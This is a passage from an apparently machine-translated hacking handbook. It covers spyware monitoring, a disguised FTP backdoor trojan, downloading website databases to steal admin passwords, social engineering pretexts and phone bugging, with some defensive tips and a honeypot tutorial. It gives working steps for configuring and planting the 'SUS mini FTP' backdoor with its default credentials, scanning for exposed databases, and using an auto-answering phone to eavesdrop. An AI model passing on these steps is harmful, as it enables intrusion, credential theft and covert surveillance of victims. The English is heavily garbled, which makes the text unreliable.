Step 08 in the left list “FTPDelivery” option, to enter the interface. This option is similar to the function of “EmailDelivery” option, just send record via FTP protocol to an FTP server.

Step 09 click “Ok” button, return RealSpyMonitor in the main interface. The option in the interface of the second and third columns are used to check the machine records, after a record, each column the number of records and just start RealSpyMonitor number is different. “ScreenSnapshots” recorded in column 6 screenshot.

Step 10 in the second column of any options, can enter the “Report” window. In this window can check record all their keystrokes, access web site record, open Windows

window, open the application record, screenshots, and visited the file records, etc.

free ebooks ==> www.ebook777.com

Step 11 to the third column in any one of the options, can open the chat window and email records of any window in the window. In chat record information window, can see RealSpyMonitor monitoring to the more popular chat software such as MSN, and ICQ chat; In the window of mail information records, can check Hotmail and Yahoo email correspondence record.

4.4.2 FTP vulnerability and defense

Now on the network Trojan back door is very much, many of them need the user manual operation for all kinds of free kill and camouflage. And “fist” SUS mini FTP good invisibility, it starts automatically masquerading as svchost process, can penetrate firewall, is generally antivirus software cannot be detected. “And the” SUS mini FTP the back door to the back door into the small FTP server, can quickly a large number of reliable transfer files, powerful control functions and the back door. The most important thing is that the back door is not like other back door needs specific client program, it can be in any time, any place let the user control. Here is the specific way of using the “SUS mini FTP back door”.

Step 01 will download a “fist” SUS mini FTP package decompression (to extract it to a directory contains no Spaces), you can see the tool is a separate program files wmiapsrv. Exe. The WMI remote service files in the file name with Windows system is very similar to that of wmiapsrv in the program file. Right click exe and on the shortcut menu, select “properties” menu item, you can open the [wmiapsrv attribute] dialog box, in which you can see Microsoft digital signature. For this reason, so many security tools are not killing it.

A step 02 downloaded from the Internet application UltraEdit editor, open in the editor wmiapsrv. Exe.

Step 3, press the key combination Ctrl + F 】 【 can open [for] dialog box. In the “search” input “3408” in the text box, then click on the button, find next 】 【 can locate the Trojan ports on the item. This is a “hex”, corresponding to the default Trojan ports for 2100.

Step 4 to set the port to “21”, can be in application UltraEdit editor on the right side of the list box, right-click on the shortcut menu, choose “digitizer” menu item, you can open the “digital converter” dialog. In the text box input “input format”, “21” and choose “decimal” option below, choose the “hex” option on the right side, you can calculate the

corresponding hexadecimal number 21 for the “15”.

Step 5 in application UltraEdit editor “3408” changed to “1500”, the Trojan ports are set to “21”.

Step 6 “fist” SUS mini FTP the default user called “SUS”, the default password for “sus666”. In application UltraEdit opened in the editor [for] dialog box, in the “search” in the text box input “SUS” and select “find ASCII” check box, click the “find next” button, can find the “fist” SUS mini FTP user name and password, the user can also modify it according to need.

Step 7 in which set up after the Trojan port, user name and password, can be uploaded to the accused the a folder, after the operation can complete server installation. The user can through the IE browser, FTP is special tools, Telnet to connect to the FTP server, and use Telnet tools remote control of the target host.

Step 8 input Trojan ports in the browser address bar, the “login id” in the pop-up dialog box input “user name” and “password”. Click “login” button, you can connect to the FTP server.

09 steps using the built-in FTP command in the Windows system, can also be connected to the FTP server, and remote control of the target host. Open the command prompt window, in which the input FTP commands.

Step 10 input under “FTP” command prompt “openIP address port” command (here open192.168.0.72100), connected to the FTP server. According to clew SUS enter the user name and password sus666, to sign in. In addition to run a traditional FTP command, here you can also use “quote” and the back door control commands, such as quotepslist, view the process of the target host.

4.4.3 website database loophole attack and defense

As no. 1 killer of scripting vulnerabilities - download vulnerability database, has now been more and more people know it. Mostly data stored in the database, the database file holds the important information in web site, including the administrator user name and password. If by hackers using an administrator login web site and control the target machine, will be to damage the target host, therefore, to protect the database becomes an important link in the protection of data.

1. Using a search engine to search the database

free ebooks ==> www.ebook777.com

If the website using ASP programming procedure are in the call database, need to use + server mappath statements set the database, using conn. Open statement with the database connection is established.

Many of the major search engine can search in the search engine registration page, so a hacker can through search for server mappath keywords to find the location of the database website. Because of the many websites database file using MDB default suffix, hackers can also through search. Mad keywords to find the database.

Search the database link address, you can use IE browser to download the database file to the local computer, open the database file can view the site administrator user name and password.

2. Use search database software

Except you can use the search engine to search the database, and use IE browser to download, you can also use “dig chicken” such software search are difficult to search engine search directly to the database. For example, some hacker software (including the website administrator and administrator tools) tends to generate the web’s habitual particular path, the specific path are difficult to search engine to search directly, then you can use the software to scan to obtain sensitive information or webshell permissions, then download search to the data. “Dig chicken” can quickly search the SQL injection vulnerabilities and attack to the web server chicken (hacker called the control target to host chicken), etc., is a good tool to website of vulnerability database.

Here is how to use “dig chicken” software database search site.

Steps in a computer installed 01 “dig chicken” software to download and run, to enter the main interface. Select 【 suffix 】 above the interface TAB, select “database” in the list box below nodes check box.

Step 02 click “start” button at the top of the interface, start scanning, to search all the database link will be displayed in the 【 results 】 under the TAB on the left side of the list box.

Step 03 double-click any of a data connection, you can open the file download - security

warning dialog box **】** . Click the “save” button, you can download the database file. After using database browsing tools to open the database file, you can get the administrator user name and password.

Step 4 if the webmaster to the name of the database, but hide not deep, “dig chicken” search can also be used to the database. Switch to **【 suffix 】** TAB, check in the list box “sensitive information” option in the “BaoKu” check box.

Step 5 click “start” button, also can find a link to the database.

Step 6 right click one of the database link address, and on the shortcut menu, select menu items, ie browse **】** **【** use browser to open the link address. If open the invalid, http://www.*.**.Com/inc/conn.Asp link address is changed to http://www.*.**.Com/inc/%5Cconn.Asp. The asp, can generally on the page is returned to the address of the database.

3. The web database security precautions

If the website administrator found web site there are loopholes in the database, in order to avoid the hacker attacks on web sites, can adopt the following measures to improve the security of web database.

Low for Access database file a complex unconventional name, and put it in multilayer directory, so the name of the database and store path, is not easy to guess. This is to prevent the database is to find the most simple method.

Don't use the default database path, otherwise will may create serious security problems.

Low to prevent directly without registered users to bypass the interface into the application system, the Session object can be used for registration. Session object's biggest advantage is that can put a user information is preserved, let the subsequent pages. In general, when designing websites require user registration after a successful login.

If possible, can be the name of the database file suffix to. Asp, thus avoiding a web browser to browse and download.

Low site administrators often on their own websites for safety test, update all kinds of

holes, make the site more safety.

free ebooks ==> www.ebook777.com

Delete the front desk program name, simply use notepad to open the site index. HTM page file, such as the search to the program name text can be deleted. Site administrators do not covet save trouble, ignore these operations, otherwise it will cause serious threat to the safety of the site.

The fifth chapter expert class (common problems and solutions)

It seems 1: in order to prevent hacking, virus, computer users at ordinary times should pay attention to what issues?

Answer: trojans and virus on the network is more and more rampant, in order to guarantee the safety of computer and general computer users should pay attention to the following several aspects.

Low on the Internet must install antivirus software and upgrade in time, in order to protect the virus is the latest anti-virus software.

At least to install a firewall, ADSL user had better use routing way to get to the Internet, change the default password.

Set the security level, turn off the Cookies. Cookies are in the process of browsing are some web sites to hard disk write some data, they record the user's specific information, so when a user return to this page, the information can be reused.

Don't download software, especially the unreliable FTP site. Even if want to download, also want to download software killing before, such as thunderbolt own anti-virus software.

Low always on your own computer vulnerability scanning, and install patches. Windows users will best system is set to automatically upgrade.

Always use TCPView check your computer IP connection, prevent the rebound type Trojan horse.

UDP protocol is not reliable transmission, no state, it is hard to see how it is in transit from

the TCPView data, we can also use the IRIS, sniffers such protocol analysis tools and see if it has a UDP data.

Low keep vigilance, do not easily believe acquaintances sent E-mail must be no hacker programs, such as Happy99 will automatically added in E-mail attachments.

“Don’t put important passwords and data stored in the Internet in the computer.

Inspiration. 2: running a network sniffer, appear incorrect network adapter is how to return a responsibility?

Answer: a network SNIFFER is SNIFFER on the network caught and analysis software, it is based on the network card MAC address into the flow to analysis, and the network adapter is your network card driver. If you run a network sniffer and network adapter has not started, or start wrong, may be due to network card driver installation, also may be a network sniffer software installation error or malfunction.

The first chapter information gathering and arbitrage

For hackers, information gathering is they are very interested in a subject. Because they know that to successfully attack each other, must know the target information. Whether it is a traditional system intrusion or popular now social engineering attacks, for the other side of the sensitive information is they need to do the preparation before the attack.

5.1.1 arrogate to use authority status

In fact, social engineering master idiomatic those information gathering methods and techniques are very simple, as long as we have patience, persistence, can quickly around the physical security directly to an employee access to sensitive information. They have struggled to know each other’s information (the information refers to the rules and regulations, system, method, agreed rules, namely an industry regulations, we can think of is how it works, or the internal contract, is to deal with emergencies.

Business to get off A business, for example, B’s business, it is wrong to deliberately low price monopoly, in violation of the improper operation method. So, we will try to understand such information between the from all walks of life, such as campus, only within the leadership staff will have a contact list of the entire school teachers and students, service industry usually have this and other internal agreement, understand such

information is very good for us.

free ebooks ==> www.ebook777.com

Hackers in order to search for information, often pretend to be a powerful or important person call to get information from other users. For example, you can imitate the teacher's voice call to your parents, told off for there is no class today, most parents will believe it.

Using a false identity information is very useful, can even use authority identity directly to ask for information, the enterprise generally do not to doubt its authenticity. For now, social engineering division of authority identity is reporter (television, newspapers, magazines, etc.), government staff, research, more in-depth access to information is more arrogant internal staff or customers, etc.

General agency's desk (or the front desk) are most likely to become the target of this kind of attack, a hacker can pretend to be from the agency's internal call to deceive the receptionist or the administrator of the company.

Information desk is vulnerable to social engineering attacks because their position is to help others, therefore, very likely to be used to obtain illegal information. Information desk staff training are generally acceptable asked them friendly and be able to provide the information they need to make other people, therefore, has become a gold mine of social engineering scientists. Accepted by most of the information desk staff safety training and education in the field of very few, this creates a great potential safety hazard.

5.1.2 going through information from the trash can

Garbage is another popular way of social engineering attacks. Which a company, whether it will periodically will waste disposal on file with the material, usually not far from the building set up garbage fly space, so that the garbage truck towed as destroyed. Waste abandoned print files are mostly old documents, for the company may have little help, but these old data leaked the operations of the enterprise.

The information in the garbage can is a potential safety hazard, such as company address book, meeting calendar, organization chart, time and holidays, memos, company insurance manual, system manuals, print out the sensitive data or a login name and password, and print out the source code, disk, tape, the company signed letter, and elimination of hardware, etc. For hackers, these information resources is to provide rich treasure.

Hackers can be learned from the company phone book name and phone number, to determine the destination or mock object; And from the meeting to the calendar, they may

be able to give hackers an employee on a business trip in that special time information; Organization chart contains information within the organization who is in power; Increase the credibility of information is in the memorandum; Regulations manual show hacking the company has more than the real security (or safety); System manual, sensitive data or other technical information resources may be able to provide accurate key to open the corporate network by hackers; Selection of hardware, especially the hard disk, can recover data through technology and provide all kinds of useful information. These are convenient for initial social engineering division and countermeasures of information collection, help to understand the distribution of each department and the principal person in charge, allows hackers to clearly understand where want information, and who should give a call.

Below refer to “procter & gamble and unilever, 2001 intelligence dispute broke out between incident”, the event is the use of “dump” for espionage.

At that time, facing the main rival unilever strongly questioned, procter & gamble publicly acknowledged that the company employees do not conform to the company rules obtained by rival unilever’s information about hair care products, but p&g denied that its behavior is illegal. Procter & gamble company admitted has hired a company for commercial espionage, including from other companies access to information in the “junk”. In the process, procter & gamble hire spies to falsely claimed to be the market analyst to unilever’s employees. After the event, procter & gamble returned 80 documents for unilever, including information obtained from the “rubbish”.

Therefore, for the company’s important files, in order to prevent competitors from the “trash” thumb through to the useful information, it is best to these useless files use crusher for crushing, in order to avoid any future.

5.1.3 qiao set traps to obtain information

Social engineering division in order to collect useful information, not simply to make calls to obtain information, they tend to produce all sorts of “realistic” event, let the other side believe that for their unsuspecting falling into the trap of social engineering Settings.

1. Looking for enterprise internal contradictions

For a long time, the enterprise internal contradictions are often appear in the companies. Enterprises at the same time of pursuing high profits, often ignored the internal caused by the sharp contradictions, it bring huge losses. In 2006, for example, the Coca-Cola company as an administration assistant in a suspected of string with two others, to steal a new drink coke samples and confidential documents, in an attempt to sell pepsi-cola. But

after Pepsi received news immediately contacted the Coca-Cola company, and the fbi arrested three people charged with fraud, theft, and selling commercial secrets, that didn't stop the leakage of the Coca-Cola company confidential information. It is conceivable that if the transaction is successful, will be much to the Coca-Cola company.

For internal disgruntled employees, they either want to jump ship, or want to beefing their anger to others. For this type of employees, the enterprise should try to prevent. Because this kind of people the most easy to use commercial spy, rather than just a social engineering division arrogate to big company in human resources allocated. Even if such employees have been fired, but there is no guarantee that they will leave the company's confidential information to carry out.

In recent years, from the enterprise internal threats brought about by the loss or printed out on the Internet. Companies in order to prevent the emergence of the network security vulnerabilities, bought a large number of security devices, but these devices cannot prevent the formation of internal security vulnerabilities. Although some companies in order to prevent leaked confidential, core technology, when signing labor contract with employees, tend to require employees to sign confidentiality agreement, prohibit it into our competitors, but that didn't fundamentally guarantee the information is not leaked.

To solve these problems, the key lies in the company management. Managers don't just fantasy with a paper rules make employees stay loyal to the company, but to strengthen information communication among members, increase mutual trust, identity, and even attracted to each other to develop a relationship, to discuss the method to solve the problem.

2. Make the trap of denial of service

Usually social engineering division in order to obtain information, often is that the system appear problem, required to provide the information such as password document. But this kind of trick used more often, no matter use, the victim will be vigilant, avoid being on the same issue again. As a result, some smart social engineering division is to gain the initiative in obtaining information by setting traps.

First, in order to obtain the trust of the staff, social engineering division that is the company's internal personnel, and identify professional term, then they will make all kinds of difficult problems, such as call the network maintenance department please its suspended in the center of the network, network failure; Or E-mail sent to staff a lot of spam, and he was attacked by hackers.

At this time, the employee may be around for help to solve these problems, and social engineering division can walk to step out and help employees to solve these “problems”, which successfully show the information they want, and not questioned by the employees.

The second chapter general commercial espionage

Commercial confidentiality is very important to the survival and development of enterprises, it is the product of the development of market economy, is an important part of the intellectual property rights, but also the important intangible assets, to the enterprise in the market competition in the survival and development has an important influence. Enterprises not only need to know how to strengthening the protection of trade secret security measures, you also need to understand related means of techniques, and train employees on to the enemy and know yourself, fight, will the threat of loss to a minimum.

5.2.1 seem reliable information survey form

Information survey form is similar to the common questionnaire on the market, is the investigators according to certain research purposes designed a survey form, is one of the most common used to collect information in modern society. It is no mystery, just played a information storage, query and classifications.

If I know what is the information, and has a superhuman memory, then form may not have any effect. But if he is at a loss, no organization information, information investigation form will help the analysis data, determine the goal and plan of its own, or help you understand the investigation object (employees or market) the basic situation, will be great help for themselves.

Here are two kinds of forms, respectively is questionnaire and individual basic information table. These two information survey forms are often encountered in daily life. When we walk on the road, could anyone help us bring this form to fill in, and told that they are employees of the company, in order to the company's product sales, need to do some research.

Most people in this kind of situation, may be out of politeness or giving their entanglement to fill out this form, don't think what's the problem. In fact, some malicious people sometimes pretending to be a clerk in a company, arrogate to do market survey, hope to passers-by to cooperate to fill out the form, but use these information to do other things harm to individuals and the society.

5.2.2 phone hacking techniques

free ebooks ==> www.ebook777.com

Today, hacking techniques have been in many countries widely used between official institutions, social groups and individuals, to become an important means to obtain intelligence. Eavesdropping equipment, means is multifarious. Mobile phone hacking technology is one of them, it is not a new technology, also is not so difficult to achieve.

Maybe phone hacking also is not very popular in China, but in the western developed countries, commercial hacking is alive and popular. By the same token, hacking technology and each division are born of social engineering. Phone hacking with more is falling into a telephone wire. This bug can be used as a standard microphone, users could not detect any abnormalities. Its power from the phone line, and make the antenna with a telephone line, when a user picks up the phone call, it will call content with radio waves transmitted to receiver in the hundreds of meters away. This bug installation is very convenient, from the off normal transmitter to the bug, as long as a few seconds. Can to repair the phone name, into user indoor install or remove this bug.

Here simply introduce the common way of hacking, to high-tech hacking techniques, the reader can consult the relevant information according to their own interest. Generally for the average person, want to listen to each other talking about information, need to be prepared for the following:

To prepare a better quality of a mobile phone, and determined the cell phone signal is in good condition. In the room to listen check for the signal interference caused by objects, such as speakers.

Low in the mobile phone has the menu “scene mode”, set it to “meeting mode”, to ensure that mobile phone will not make any noise and vibration. If there is no “meeting model”, but will all appear in the mobile phone “bell” and “shock” set off, won’t make any noise.

Low mobile phones “call Settings” from the menu in the “auto reply” function to open, and then put the phone in room in a concealed location, such as conference table, the ceiling, so as not to be found.

After completion of these preparations can begin to wait for each other into place to monitor mobile room, the next available another cell phone dial the phone, to start listening to the other side of the conversation.

5.2.3 requires smart phone espionage skills

Questions about the safety of mobile phones, we all have experience, such as spam, telephone harassment, cell phone viruses, malware, spyware, mobile phone privacy protection, etc. But with the emergence of smartphones and the emergence of a new problem, namely the phone snooping.

The use of smart phones for espionage is more common, and small-scale operations. Smart phones are usually equipped with the operating system, such as common PalmOS, Symbian, WindowsCE and Linux operating system. Therefore, we can be like a computer, to install in the mobile phone application software. In this way, people for espionage can be installed in the mobile phone spy software, like in other people's computer installed a Trojan horse for any control. As for the installation of the spy software, we can through some channels, of course, some smart phone manufacturers also provide a "spy" means.

At present, mobile phone techniques can not only see voice image information, also can determine the main position. Some powerful spy software to monitor the user's phone, control the user's GPRS traffic fee, remote real-time monitor monitoring by mobile phones, etc. But on the whole, the general mobile phone has the following three eavesdropping way:

When copying a SIM card

Phone hacking with SIM card burn copy the specified SIM card, cloning thief dozen or take a call that others. This way is simple and easy to operate, but because of easy to be detected, with very few people now.

When a bug on a chip

A chip bug is listening more common type in the market, the it according to the effective distance is divided into five meters to hundreds of kilometers of many types and levels. Chips are generally two parts, one part load by hacking people an earpiece, part of the load of the eavesdropper mobile phone inside. Eavesdropper on whatever information call or answer the phone, the phone will have the corresponding prompt. If eavesdroppers like hacking can hear the conversation, a recording function of mobile phone conversation can be recorded.

When large mobile phone monitoring system

This monitoring system commonly used in espionage, unlike the bug mentioned above. It

is directly from the air blocking mobile phone signal, through the decoding can listen to all conversations. This kind of bug connected to computer let the person listen.

5.2.4 voice and video monitoring technology

Voice and video monitoring technology compared with phone hacking technology, the concealment, the higher and lower cost. This is mainly because voice and video monitoring technology in people's life has been very popular, people understand and have the ability to achieve its monitoring. For instance, some people can easily use recording technology steal each other's conversation, and the other party. The espionage easier Billy with mobile phones. And video surveillance has been spying on people's privacy, whether it be a walk in the street, or shopping in the mall, may have a camera are always watching your every move.

1. The voice hacking

There are a lot of digital products in the market now, such as MP3, MP4, mobile phone, DV, DC have recording function, such as use of these objects can be recorded. When in use, can remove the recording of the main physical device, deserve to go up and power supply, choose to install to the table, chair, tea cups, wall and other objects, they become objects of the recording.

But the recording performance of these products is very limited, only can satisfy the general requirements of ordinary users, the media reporters, corporate espionage, law enforcement and forensic institutions these for recording product with professional requirements of the user, also need professional digital recorder.

Professional digital recorder recording principle is based on the analog signal sampling and encoding analog signal is converted to a digital signal through d/a converter, and must be compressed for storage. And digital signal even after many copy, sound information will not suffer, keep it unchanged.

From the perspective of the purposes of espionage, the tape need high quality excellent, concealment, high stability of objects to achieve the ideal effect. And in all of the usual which has the function of recording equipment, digital recorder is a good choice. Its posture is small, easy to carry, when making eavesdropping, even on carry around pocket, no one doubts.

People all say voice hacking have been exaggerated, but this is true, it can really happen,

and most people do not have this kind of guard against mental, also did not take measures to prevent the attack. But for commercial hacking, to avoid the enterprise's internal message suffer wiretapping, should pay attention to the pronunciation of hacking, some necessary measures.

There are many types of speech security technology, is the most simple voice conversion technology, such as CCS company CP - 1, CP - type 2 voice encryption machine, it can be a woman's voice into a man's voice, will become completely a man's voice is not his own voice, which will turn out no one can tell anyone's normal voice.

There is also a confidential technology is divided into periods will, with several different frequency conversion transfer these periods of phonetic element, the length of time used and the order of frequency conversion, according to a pre-arranged insert coding of encoder and decoder card at the same time to decide. Enterprise can according to the specific situation, adopts the corresponding voice security measures, in order to avoid because of carelessness, brings to the enterprise is difficult to control.

2. The video monitor

Nowadays, with the development of computer technology, as well as the gradual improvement of the people safety consciousness, video surveillance system is widely applied in life, almost all walks of life are likely to be used. For commercial enterprises, not only need to monitor warehouse and office building, in the supermarket, bookstore, etc can make direct contact with customers business place of the non-payment of goods, its monitoring is more onerous task. But the video monitoring system in the protection of enterprise information at the same time, also causes the enterprise internal information leakage.

Image has two kinds of medium, it is can be printed photos; 2 it is to play the video media. Digital products businesses compete with each other, and promote the rapid development of the image, such as, now on the phone camera has reached more than tens of millions of pixels, and the development of storage technology and make video uninterrupted time can be longer. If you want to turn phones into monitoring device, just put the phone on the light and sound vibrations were closed, and open an account of mobile phone camera time-lapse (delay time can be set), then the phone camouflaged in the right place. At this point, you can use mobile phone monitoring objects.

In addition, the emergence of 3 g mobile phone, now also threaten the confidentiality of the information to the enterprise. Because of 3 g mobile phone data transmission speeds of up to 200000 characters per second, not only can realize the video of two or more people at any time by simply calling, video phone call to join the Internet will also be on a

personal computer, realize each other.

free ebooks ==> www.ebook777.com

From the technical analysis, two people can receive the other mobile phone camera all images within the scope of vision. If the lock or remote monitoring by the other end, espionage can be control of mobile phones, high-definition filming on the surrounding environment, enterprise internal equipment or materials that are directly related to the confidential information transmission.

5.2.5 GPS tracking and positioning technology

GPS is the abbreviation of GlobePosition - findingSystem, namely “the global navigation and positioning system. The system can ensure that at any time, from any point on earth 4 satellites can be observed at the same time, to ensure that the satellite can be collected from the observation point of longitude and latitude and altitude, in order to achieve navigation and positioning, timing, etc.

The technology is in the air, sea and land for all-round real-time three-dimensional navigation and positioning capabilities, with the expansion of the application of GPS has been widely applied in all walks of life.

Global positioning system (GPS) consists of three parts: space, ground control part and the user equipment parts.

(1) the space part

Space segments is the floorboard of the GPS satellite, is mainly refers to the GPS constellation. Is composed of 24 satellites, distribution at six in the plane. Satellite distribution makes anywhere in the world, any time can be observed in more than four satellites, and can be stored in the satellite navigation information.

(2) the ground control part

Ground control part by master station (shall be responsible for the management and coordination of the whole ground control system), ground antenna (under the control of the master station, to the satellite cables), monitoring stations (data automatic collecting center) and communications support system (data).

(3) the user equipment parts

The user equipment parts namely GPS signal receiver. Its main function is to capture in a certain satellite by the Angle of the selected satellite under test, and follow up the operation of the satellite. After the capture to track the satellite signal receiver, can measure the pseudo distance to the satellite receiving antennas and the rate of change of distance, demodulation of satellite orbit parameters such as data. Based on these data, the receiver of the microprocessor computer can calculate by positioning solution method to locate, calculate the user's location information such as longitude and latitude, altitude, speed and time.

In the user equipment parts, is the role of we have a GPS receiver. There are two kinds of GPS use way, navigation and surveillance. Navigation is the prime function of GPS, aircraft, ships, ground vehicles and pedestrians can use GPS navigator for navigation. Application of GPS monitoring in real life is tracking and positioning. It is mainly composed of the GPS terminal, transmission network and monitoring platform of three parts.

(1) the GPS terminal

GPS terminal is to monitor management system front-end equipment, secretly installed in their vehicles or wear on people or pets. Terminal has two antennas, one is the GPS antenna, used to receive GPS position signal, and will receive GPS signals stored to the terminal; The other is GSM antenna, which is used to send the GPS antenna receives the positioning signal to monitor operators IP server, then can through the server to check the location of the positioning information.

(2) monitoring platform

Monitoring platform is the core of scheduling command system, it is the visual control and remote monitoring management platform. The way it works is simple, the positioning signal is sent to a fixed IP server, related GPS software analyzes the signal, and makes the signals in the electronic map, convenient see monitor the movement of the object. If the signal without special handling, hackers can intercept and fake signal.

(3) the transmission network

Can use GPRS wireless communication network and CDMA wireless communication network, can also use text mode for data transmission. It is because of the GPS navigation

and monitoring function, make its be hackers use, all kinds of attacks on targets.

free ebooks ==> www.ebook777.com

According to a latest survey shows that the European, and every day by RDS - send instructions to the drivers of TMC navigation system information can be skilled hackers break easily. Italy inverse road company (InversePath) chief safety engineer AndreaBarisani claimed that the wireless signal can not only be cracked, and hackers can also send the wrong instruction to the car, toward the direction of the hackers are willing to guide car.

In the face of the potential danger, there have been some companies to seek more secure way to transmit and receive these dangerous information. I hope everyone can take a positive attitude, don't blindly believe in GPS instruction, otherwise the GPS really has the potential to be a time-bomb around us.

The third chapter expert class (common problems and solutions)

Espionage intellectualize 1: how to guard against hackers use cell phone?

Answer: the use of wired telephone transfer of classified information, setting up enterprise establish special telecommunication networks or use the telephone or encryption telephone low radiation. Use the fax machine to pass classified information needs of facsimile communication transceiver configuration encryption machine on both sides, and in order to do a good job in security measures, receiving personnel should follow the following principles.

Low enterprise senior manager equipped with dedicated fax machines.

When waiting for send and receive fax.

Low arrangement executives receive fax.

Do not leave low fax.

Low for enterprise important secret files can use hand.

Inspiration. 2: for the use of voice and video monitoring technology for commercial espionage behavior, enterprises should be how to prevent?

Answer: in view of this situation, the enterprise employees should be restricted network chat, prohibited to install cameras. Many employees during work time likes to online chat on QQ, MSN, etc, due to the network chat has function of instant sending files, easy to enterprise commercial secrets leaked through online chat way, therefore, to reduce the risk of commercial secrets leaked, enterprises should be banned from the ordinary staff for online chat. To that, of course, some enterprises, through MSN contact business, companies can allow specific employees to use MSN, can effectively protect the business secret already so, also can not influence the enterprise business development. Enterprises should be prohibited to install cameras, because through the camera not only within the enterprise business activities can be exposed to all competitors, but also by directed at file contains commercial secrets leaked.

The first chapter network spoofing attacks of actual combat

Network cheating cover range is very wide, including IP spoofing cheat, Web, E-mail, etc., hackers often use these cheating way on the target host attack, invasion to the other side of the computer, carry on the real-time monitoring, and steal the user's important information. Basic site cheating, for example, an attacker usually registered a very similar deceptive site, when a user browsing the fake address, your site will record the user's information, and track the user at any time, and then steal information such as user account password.

6.1.1 attack principle

Network management there are a lot of security problems, even the very good implementation of the TCP/IP protocol security work, but because it itself has some not a safe place, attacks on it is also feasible. Therefore, hackers often use these holes for web spoofing attack. Network spoofing attacks mainly includes the following several types:

1. IP spoofing

IP spoofing technology is by forging a host's IP address to defraud privilege to attack technology. Many applications that if the packet can make its along the route to arrive, and the response packet can also be returned to the source, so the source IP address must be valid, and that's what made it possible to source IP address spoofing attacks.

Hackers for IP spoofing, first you need to cut off the trusted host communication, let oneself become a trusted host. At the same time using TCP sequence number from the

target host, guess its data serial number. Disguised as a trusted host again, at the same time set up connected to the target host address validation based application. If the process is successful, you can use some commands placed a Trojan, unauthorized operation.

2. Email to deceive

Email cheat is the sender email address. For example, if the user received an email, looks from MISSLIN, but in fact MISSLIN didn't mail the letter, but pretend to be MISSLIN mailed the letter. This is E-mail fraud.

Attackers use email deception has three purposes:

Low to hide their identity.

If the attacker wants to pretend to be someone else, he can fake the person's email. Using this method, no matter who receive this email, the man will think it is the attacker impersonating.

Low E-mail fraud is regarded as a form of social engineering.

For example, if an attacker want users to send him a sensitive files, the attacker disguised his email address, the user think it is a requirement of the boss, the user may be issued to him this email.

3. The Web cheating

WEB deception is a way of high concealment of the network attack, simply be an attacker prior to set up a fraudulent WEB site, the site is similar to real legal site, is misspelled legitimate sites URL address, in order to achieve the purpose of cheat users to click on.

WEB is the purpose of the deception in order to attack the user's computer, in order to attack, the hacker to lure the attacker in some way into the first of the attacker's error creating the WEB site. The allure of the common method is to put the wrong WEB links on our WEB site in a hot, diddle user clicks. In either in the form of WEB cheating, mostly through some teaser award information, hot news and information, etc., to attract users to a specified website. These sites will require the user to fill in some private information, such as bank card number, phone number, QQ number, in order to achieve

the purpose of the deception.

4. Unskilled deception

These types of attacks are focus on human factors on the attack, it needs to be done by social engineering techniques.

Usually based on the computer technology is called social engineering, social engineering, the attackers managed to let people believe that he is someone else. The core of social engineering is that the attacker tried to disguise his identity and design makes the victim to reveal personal information. These attacks are the main goal is to collect information to invade computer system, usually by deceiving someone to reveal the export order or set up a new account in the system. Through social engineering information is infinite.

6.1.2 attack and defense

Hackers can use the “honeypot” technology to simulate a system full of loopholes, induce the hostile invaders, win precious time for their counter attack, so as to give full play to the powerful function of network deception and influence.

Through a concrete instance, here to introduce the details of the web spoofing attack.

1. The attack instances

KFSensor software is a security tool, based on IDS by simulating FTP, HTTP, POP3, SMTP, etc, to attract the hacker attacks, trojans and viruses. Through a detailed safety inspection report, real-time monitoring of the local computer, easy to use and powerful. The following KFSensor4.2.0 software as an example to introduce simulated cheating way to use it.

(1) KFSensor4.2.0 software installation

Before using KFSensor4.2.0 software, need to correct installation of this software in the computer. KFSensor installation and general software under Windows installation in a similar way, but need to be installed in the computer WinPcap4.1, install KFSensor4.2.0 again, otherwise KFSensor after installation will not be used correctly.

Install KFSensor4.2.0 concrete operation steps are as follows:

free ebooks ==> www.ebook777.com

After step 01 double-click KFSensor4.2.0 installation file, can into the “WelcometotheInstallationWizard” (welcome screen).

Step 02 click [Next] (Next) button, can be “LicenseAgreement” (license agreement) into the interface. Among them carefully read the license agreement interface, if the content of the agreement, select one of the “Yes, Iagreewithallthetermsofthislicenseagreement” (I agree agreement) option.

Step 3 click [Next] (Next) button, can enter the “DestinationFolder” (installation folder) interface, in which the setup of the installation path.

Step 4 click [Next] (Next) button, can pop-up prompt dialog box, in which prompt the user whether or not sure you want to install the program in the folder. Click **【 is 】** button, can continue the installation of the program.

Step 5 to enter the “ProgramGroup” group (program) interface, in which determine the installation program group.

Step 6 click [Next] (Next) button, can enter the “ReadytoInstalltheProgram” ready to install the interface.

Step 7 click [Next] (Next) button, can enter the “SetupStatus” (installation progress) interface.

Step 08 to stay after the installation, can pop up “ComputerRestart”, restart the computer interface, choose “Yes, rebootmycomputernow” option. Click “Next” (Next) button, restart the computer, can complete the installation of KFSensor4.2.0 software.

(2) configuration KFSensor4.2.0 software

KFSensor configuration software of the specific steps are as follows:

Step 01 after restart the computer, can complete the installation of KFSensor software. Start KFSensor4.2 program, there will be a configuration wizard, require the user to configure “honeypot”.

Step 02 click “next” button, can appear some options, respectively is service for Windows, Linux service options, trojans and worms. The user can choose according to their own needs, select all of the service here.

Step 3, click “next” button in the pop-up dialog box to set the honeypot system of domain name, don’t set as normal host the domain name.

Step 4, click “next” button in the pop-up dialog box to set the alert information email address. Email alert KFSensor if required, can fill in the user’s email address here; If you don’t need, can be omitted.

Step 5 click “next” button in the pop-up dialog box for some services can be set, leave the default Settings here.

Step 6 click “next” button, in the pop-up dialog box uncheck the “Installassystemsservice” (whether in system service installation) check box. If the program is used on your computer, in which you can choose this option.

Step 7, click “next” button in the pop-up dialog box, click “complete” button, can complete KFSensor software configuration.

(3) using simulated deception KFSensor

To understand what the simulated “honeypot”, we can use the scanner to scan KFSensor builds virtual honeypot, by looking at the KFSensor detected event to verify the build of honeypot is valid.

Start with the identity of the invaders using X-ray Scan3.3 vulnerability scanner to scan the computer (using the method of the tool has been introduced in front).

After the scan is complete, click on the toolbar in the KFSensor software [Visitors] button, all events are detected will be classified according to the Visitor’s IP. So that we can accurate query from a host of threats, ensure every time on the attempt of the invasion of the machine operation will be recorded. List on the left to select an IP address, such as “192.168.0.9”, can be shown in the window on the right using X-ray Scan Scan on the event.

Double-click on an Event, “Event” in the pop-up dialog box to see details of the Event. “Visitor” option in the area of three text box shows the intruder IP, port, and the name of the machine of the invaders. If in KFSensor software click “Ports” button on the toolbar, and then detected all events will be classified according to belong to TCP or UDP protocol.

If found someone to scan, KFSensor will alarm and turn red. At this point, you can open the KFSensor log analysis. Trap testing, after the above can confirm honeypot installation is successful.

